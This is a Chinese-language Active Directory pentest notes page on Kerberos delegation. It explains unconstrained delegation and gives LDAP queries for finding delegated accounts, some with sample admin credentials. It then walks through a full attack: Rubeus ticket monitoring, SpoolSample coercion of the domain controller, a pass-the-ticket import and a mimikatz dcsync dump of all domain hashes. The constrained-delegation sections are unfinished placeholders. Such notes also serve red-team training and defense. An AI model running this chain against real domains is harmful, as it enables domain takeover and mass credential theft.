域渗透|Delegation
Delegation(委派)
委派
将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动,接受委派的用户只能是服务账户或者主机账户。
域委派存在三种类型,非约束委派、约束委派、基于资源的约束委派。
例子
Client
需要通过HTTP
访问sqlserver
服务器,但HTTP
并没有访问sqlserver
的权限,这时候HTTP
就需要Client
的身份去访问sqlserver
,然后再将请求返回给Client
。
非约束委派
对于非约束性委派(Unconstrained Delegation),
服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT,模拟用户访问任意服务。配置了非约束委派的账户的userAccountControl
属性有个FLAG位TRUSTED_FOR_DELEGATION
。非约束委派的设置需要SeEnableDelegation
特权,该特权通常仅授予域管理员 (注:域控主机账户默认配置非约束委派属性)。
非约束委派(Unconstrained Delegation)是一种风险性极大的委派方式,它通过TGT转发使服务器具有模拟用户的能力。服务账户根据用户发给自己的可转发的TGT代表用户请求其他任何服务,由此可知,一旦开启了无约束委派的服务账户被攻陷,用户身份将被滥用。
ADFind
查询非约束委派的主机
1 | AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
查询非约束委派的服务账户
1 | AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
PowerView
查找域中配置非约束委派用户
1 | Get-NetUser -Unconstrained -Domain nncm.com |select name |
查找域中配置非约束委派的主机
1 | Get-NetComputer -Unconstrained -Domain nncm.com | select name |
ldapsearch
kali上自带,适合在域外查询
查找域中配置非约束委派的用户
1 | ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=test,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName" |
查找域中配置非约束委派的主机
1 | ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=administrator,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName" |
非约束委派+Spooler利用
这个实现了前提是:需要获取一台 “主机账户” 开启了非约束委派域内机器的权限
https://github.com/leechristensen/SpoolSample
在机器上以管理员权限执行以下命令,监听来自DC机器的相关信息
1 | Rubeus.exe monitor /interval:1 /filteruser:DC01$ |
利用SpoolSample强制让DC访问WIN-TVHO4UIFMBT机器,抓取票据
1 | SpoolSample.exe DC01 WIN-TVHO4UIFMBT |
Rubeus导入获取到的TGT票据
1 | Rubeus.exe ptt /ticket:抓取下来的票据base64内容 |
或使用powershell命令转成文件格式进行凭据导入
https://blog.csdn.net/a3320315/article/details/106511098
1 | [IO.File]::WriteAllBytes("C:\Users\Public\ticket.kirbi", [Convert]::FromBase64String("base64凭据内容")) |
导出域控hash
1 | mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit" |
约束委派
约束委派利用
约束委派可以作为变种黄金票据,用作后门权限维持。
基于资源的约束委派
基于资源的约束委派利用
xxx
参考
https://www.cnblogs.com/nice0e3/p/15875685.html - ※域内委派攻击
https://xz.aliyun.com/t/10061 - ※Kerberos委派攻击的那些事
https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ - ※委派攻击知识点全收录(补充)
https://xz.aliyun.com/t/7217 - 域渗透—Kerberos委派攻击
https://www.cnblogs.com/car7n/p/14789004.html - ※委派
https://skewwg.github.io/2020/11/25/yue-shu-wei-pai-li-yong/ - 约束委派利用
https://skewwg.github.io/2020/11/25/ji-yu-zi-yuan-de-yue-shu-wei-pai-li-yong - 基于资源的约束委派利用
1 | https://xz.aliyun.com/t/7217#toc-9 |